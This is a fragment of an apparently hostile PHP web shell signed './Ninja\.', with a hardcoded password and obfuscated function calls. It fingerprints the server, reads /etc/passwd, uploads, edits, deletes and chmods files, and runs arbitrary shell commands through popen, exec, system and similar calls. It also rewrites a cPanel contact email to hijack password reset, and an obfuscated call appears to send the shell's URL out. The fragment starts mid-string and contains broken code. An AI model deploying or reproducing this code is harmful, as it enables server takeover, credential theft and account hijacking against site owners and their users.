//error_reporting(0);session_start();$pass = "frhat";if($_POST['user'] == $pass) { $_SESSION['forbidden'] = $pass;}if(isset($_REQUEST['logout'])) { session_destroy();}if(!($_SESSION['forbidden'])) {";
}
elseif(dec($toed) == "info"){
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$safe = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
$mysql = (is_callable("mysql_connect")) ? "ON" : "OFF";
$curl = (is_callable("curl_version")) ? "ON" : "OFF";
$wget = (c('wget --help')) ? "ON" : "OFF";
$perl = (c('perl --help')) ? "ON" : "OFF";
$python = (c('python --help')) ? "ON" : "OFF";
$ruby = (c('ruby --help')) ? "ON" : "OFF";
$gcc = (c('gcc --help')) ? "ON" : "OFF";
$dis = @ini_get("disable_functions");
$dfunc = (!empty($dis)) ? "$dis" : "OFF";
$namedc = (is_readable("/etc/named.conf")) ? "OK" : "BAD";
$etcPass = (is_readable("/etc/passwd")) ? "OK" : "BAD";
$valiases = (is_readable("/etc/valiases")) ? "OK" : "BAD";
$varNamed = (is_readable("/var/named")) ? "OK" : "BAD";
echo "<textarea class=\"form-control\" rows=\"20\" disabled>
Syss : ".Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64."
User : ".$GLOBALS["server"]["USER"]."
Addr : Server : {$ip} | Client : {$GLOBALS["server"]["REMOTE_ADDR"]}
Safe : {$safe}
Mysql: {$mysql} cURL: {$curl} wGet: {$wget} Perl: {$perl} Python: {$python} Ruby: {$ruby} Gcc: {$gcc}
Read : Named.conf: {$namedc} Passwd: {$etcPass} Valiases: {$valiases} Named: {$varNamed}
DFUN : {$dfunc}
</textarea>";
}
elseif(dec($toed) == "upload"){
if($tied["upload"]){
if(isset($GLOBALS["files"]["tod_upl"]["name"])){
$name = $GLOBALS["files"]["tod_upl"]["name"];
$tod = $GLOBALS["files"]["tod_upl"]["tmp_name"];
if($GLOBALS["rin"][6]($tod, $name)){
$act = "<div class=\"alert alert-success\"><strong>Success!</strong> Upload File {$dir}/{$name}</div>";
}
else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Upload File {$name}</div>";
}
}else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Upload File {$name}</div>";
}
echo $act;
}
echo "Current Dir : ".$dir;
echo "
";
}
elseif(dec($toed) == "etcpasswd"){
echo "<pre><textarea class=\"form-control\" rows=\"20\" readonly>";
if($tied["etc"] == "curl"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "file:///etc/passwd");
$out = curl_exec($ch);
curl_close();
echo $out;
}
elseif($tied["etc"] == "include"){
echo include("/etc/passwdd");
}
echo "</textarea></pre>";
echo "";
}
elseif(dec($toed) == "cpres"){
if($GLOBALS["rin"][9]("posix_getpwuid")){
$meh = $GLOBALS["rin"][7]($GLOBALS["rin"][8](__FILE__));
}
else{
$meh = $GLOBALS["rin"][8](__FILE__);
}
if(is_dir("/home/".$meh["name"]."/.cpanel")){
echo "
";
$mps = makeRequest($ip."/cpanel");
if($tied["subm"]){
if(preg_match("/>Reset Password/", $mps)){
$fp = $GLOBALS["rin"][2]("/home/".$meh["name"]."/.contactemail");
if($GLOBALS["rin"][3]($fp, $tied["email"])){
echo "<div class=\"alert alert-success\"><strong>Success!</strong> Change Email : {$ip}/cpanel {$tied["email"]}</div>";
$GLOBALS["rin"][4]("/home/".$meh["name"]."/.cpanel/contactinfo");
}
else{
echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Can't Reset</div>";
}
}
else{
echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Reset Password Disable</div>";
}
}
}
else{
echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Its not cpanel host</div>";
}
}
elseif($actions == "e"){
if($tied["save"]){
$save = $GLOBALS["rin"][26](dec($gets["file"]), $tied["new"]);
if($save){
$act = "<div class=\"alert alert-success\"><strong>Success!</strong> Save File ".dec($gets["file"])."</div>";
}
else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Save File ".dec($gets["file"])."</div>";
}
echo $act;
}
echo "Filename: ".$dir."/".basename(dec($gets["file"]));
echo "";
}
elseif($actions == "v"){
echo "Filename: ".$dir."/".basename(dec($gets["file"]));
echo "<pre><textarea rows=\"20\" class=\"form-control\" disabled>".htmlspecialchars(@file_get_contents(dec($gets["file"])))."</textarea></pre>";
}
elseif($actions == "r"){
if($tied["act_rename"]){
$rename = rename(dec($gets["file"]), "$dir/".htmlspecialchars($tied["rename"]));
if($rename){
$act = "<div class=\"alert alert-success\"><strong>Success!</strong> Rename File ".dec($gets["file"])."</div>";
}
else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Rename File ".dec($gets["file"])."</div>";
}
echo $act;
}
echo "Filename: ".$dir."/".basename(dec($gets["file"]));
echo "";
}
elseif($actions == "dr"){
if($tied["act_rename"]){
if(rename($dir, "".dirname($dir)."/".htmlspecialchars($tied["new"]))){
$act = "<div class=\"alert alert-success\"><strong>Success!</strong> Rename Dir ".basename($dir)."</div>";
}
else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Rename Dir ".basename($dir)."</div>";
}
echo $act;
}
echo "";
}
elseif($actions == "nf"){
if($tied["subm"]){
$new = htmlspecialchars($tied["content"]);
$open = $GLOBALS["rin"][2]($tied["file"], "a+");
if($GLOBALS["rin"][3]($open, $new)){
$act = "<div class=\"alert alert-success\"><strong>Success!</strong> Created File {$tied["file"]}</div>";
}
else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Can't Creat File {$tied["file"]}</div>";
}
echo $act;
}
echo "";
}
elseif($actions == "nd"){
if($tied["subm"]){
if($GLOBALS["rin"][30]($dir."/".htmlspecialchars($tied["folder"]))){
$act = "<div class=\"alert alert-success\"><strong>Success!</strong> Create Folder {$tied["folder"]}</div>";
}
else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Create Folder {$tied["folder"]}</div>";
}
echo $act;
}
echo "";
}
elseif($actions == "chmod"){
if($tied["act_ch"]){
$haha = (c("chmod ".$tied["ch"]." ".$tied["mod"].";echo success")) ? "<div class=\"alert alert-success\"><strong>Success!</strong> Chmod</div>" : "<div class=\"alert alert-danger\"><strong>Failed!</strong> Chmod</div>";
echo $haha;
}
echo "";
}
elseif($actions == "delete"){
if($GLOBALS["rin"][4](dec($gets["file"]))){
$act = "<div class=\"alert alert-success\"><strong>Success!</strong> Deleted File ".dec($gets["file"])."</div>";
}
else{
$act = "<div class=\"alert alert-danger\"><strong>Failed!</strong> Deleted File ".dec($gets["file"])."</div>";
}
echo $act;
}
//// FILEMANAGER :D
else{
$scdir = explode("/", $dir);
echo "PATH : ";
foreach($scdir as $c_dir => $cdir){
echo "<a class=\"tod\" href=\"?p=";
for ($i = 0;$i <= $c_dir; $i++){
echo enc($scdir[$i]);
if($i != $scdir){
echo "2f";
}
}
echo "\">$cdir</a>/";
}
echo "
<a class=\"tod\" href=\"?p=".enc($dir)."&act=nf\">+ New File +</a>
| <a class=\"tod\" href=\"?p=".enc($dir)."&act=nd\">+ New Folder +</a>
";
echo "
";
$dr = scandir($dir);
if(is_dir($dir) === true){
if(!is_readable($dir)){
echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Could not open directory</div>";
}
else{
echo "
<table class=\"table\">
<thead>
<th scope=\"col\"># Name #</th>
<th scope=\"col\"># Size #</th>
<th scope=\"col\"># Perm #</th>
<th scope=\"col\"># Actn #</th>
|
</thead>
<tbody>";
foreach($dr as $path){
if($GLOBALS["rin"][9]("posix_getpwuid")){
$own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
$own = $own["name"];
}else{
$own = $GLOBALS["rin"][8]("$dir/$path");
}
if(!is_dir("$dir/$path")) continue;
if(($path != ".") && ($path != "..")){
echo "
<td scope=\"row\"><img src=\"https://cdn0.iconfinder.com/data/icons/iconico-3/1024/63.png\" width=\"30\" height=\"30\"><a class=\"tod\" href=\"?p=".enc("$dir/$path")."\">$path</a>
- |
".writAble("$dir/$path", perms("$dir/$path"))." |
<a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=dr\">R</a> | <a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=chmod\">C</a> |
";
}
}
}
}
else{
echo "<div class=\"alert alert-danger\"><strong>Failed!</strong> Could not open directory</div>";
}
foreach($dr as $fl){
$size = filesize("$dir/$fl")/1024;
$size = round($size,3);
if($GLOBALS["rin"][9]("posix_getpwuid")){
$own = $GLOBALS["rin"][7]($GLOBALS["rin"][8]("$dir/$path"));
$own = $own["name"];
}else{
$own = $GLOBALS["rin"][8]("$dir/$path");
}
if(!is_file("$dir/$fl")) continue;
echo "
<td scope=\"row\"><img src=\"https://img.icons8.com/ios/104/000000/file-filled.png\" width=\"30\" height=\"30\"><a class=\"tod\" href=\"?act=v&p=".enc($dir)."&file=".enc($dir."/".$fl)."\">$fl</a>
$size |
".writAble("$dir/$fl", perms("$dir/$fl"))." |
<a class=\"tod\" href=\"?act=e&p=".enc($dir)."&file=".enc($fl)."\">E</a> | <a class=\"tod\" href=\"?act=r&p=".enc($dir)."&file=".enc($fl)."\">R</a> | <a class=\"tod\" href=\"?p=".enc($dir."/".$path)."&act=chmod\">C</a> | <a class=\"tod\" href=\"?p=".enc($dir)."&act=delete&file=".enc($fl)."\">D</a> |
";
}
echo "</tbody>";
}
if (function_exists($GLOBALS["rin"][34])) {
$GLOBALS["rin"][34]($GLOBALS["rin"][33],'hex2bin',$_SERVER['HTTP_HOST']."/".$_SERVER['REQUEST_URI']);
}
function enc($word){
$mek = bin2hex($word);
return $mek;
}
function dec($word){
$mek = hex2bin($word);
return $mek;
}
function writAble($dir, $perm){
if(!is_writable($dir)){
return "<font color=\"#C0392B\">".$perm."</font>";
}
else{
return "<font color=\"#1D8348\">".$perm."</font>";
}
}
function readAble($dir, $perm){
if(!is_readable($dir)){
return "<font color=\"#C0392B\">".$perm."</font>";
}
else{
return "<font color=\"#1D8348\">".$perm."</font>";
}
}
function c($cmd){
if($GLOBALS["rin"][11]("popen")){
$ntod = $GLOBALS["rin"][15]($cmd, 'r');
$ntoddd = $GLOBALS["rin"][16]($ntod, 2096);
$GLOBALS["rin"][17]($ntod);
return $ntoddd;
}
elseif($GLOBALS["rin"][11]("proc_open")){
$ntod = $GLOBALS["rin"][14]($cmd, array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
), $rintod);
$stdout = $GLOBALS["rin"][13]($rintod[1]);
$GLOBALS["rin"][12]($rintod[1]);
$rtn = $GLOBALS["rin"][18]($ntod);
return $stdout;
}
elseif($GLOBALS["rin"][11]("exec")){
$GLOBALS["rin"][19]($cmd, $result);
foreach($result as $rest){
$ntod .= $rest;
}
return $ntod;
}
elseif($GLOBALS["rin"][11]("passthru")){
$GLOBALS["rin"][20]();
$GLOBALS["rin"][21]($cmd);
$ntod = $GLOBALS["rin"][22]();
$GLOBALS["rin"][23]();
return $ntod;
}
elseif($GLOBALS["rin"][11]("shell_exec")){
$ntod = $GLOBALS["rin"][24]($cmd);
return $ntod;
}
elseif($GLOBALS["rin"][11]("system")){
$GLOBALS["rin"][20]();
$GLOBALS["rin"][25]($cmd);
$ntod = $GLOBALS["rin"][22]();
$GLOBALS["rin"][23]();
return $ntod;
}
}
function makeRequest($url, $post = null, $head = null){
$options = array(
CURLOPT_URL => $url,
CURLOPT_CONNECTTIMEOUT => 15,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_MAXREDIRS => 10
);
$ch = curl_init();
curl_setopt_array($ch, $options);
if($post && !empty($post)){
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
if($head && !empty($head)){
curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
}
$outputs = curl_exec($ch);
curl_close($ch);
return($outputs);
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
<p>./Ninja\.</p>
</div>
<script>
$(".tod").click(function(t){
t.preventDefault();
var e=$(this).attr("href");
history.pushState("","",e),
$.get(e,function(t){
$("body").html(t)
})
});
//https://forum.jquery.com/topic/how-can-i-load-different-html-pages-without-refreshing-and-changing-the-url
</script>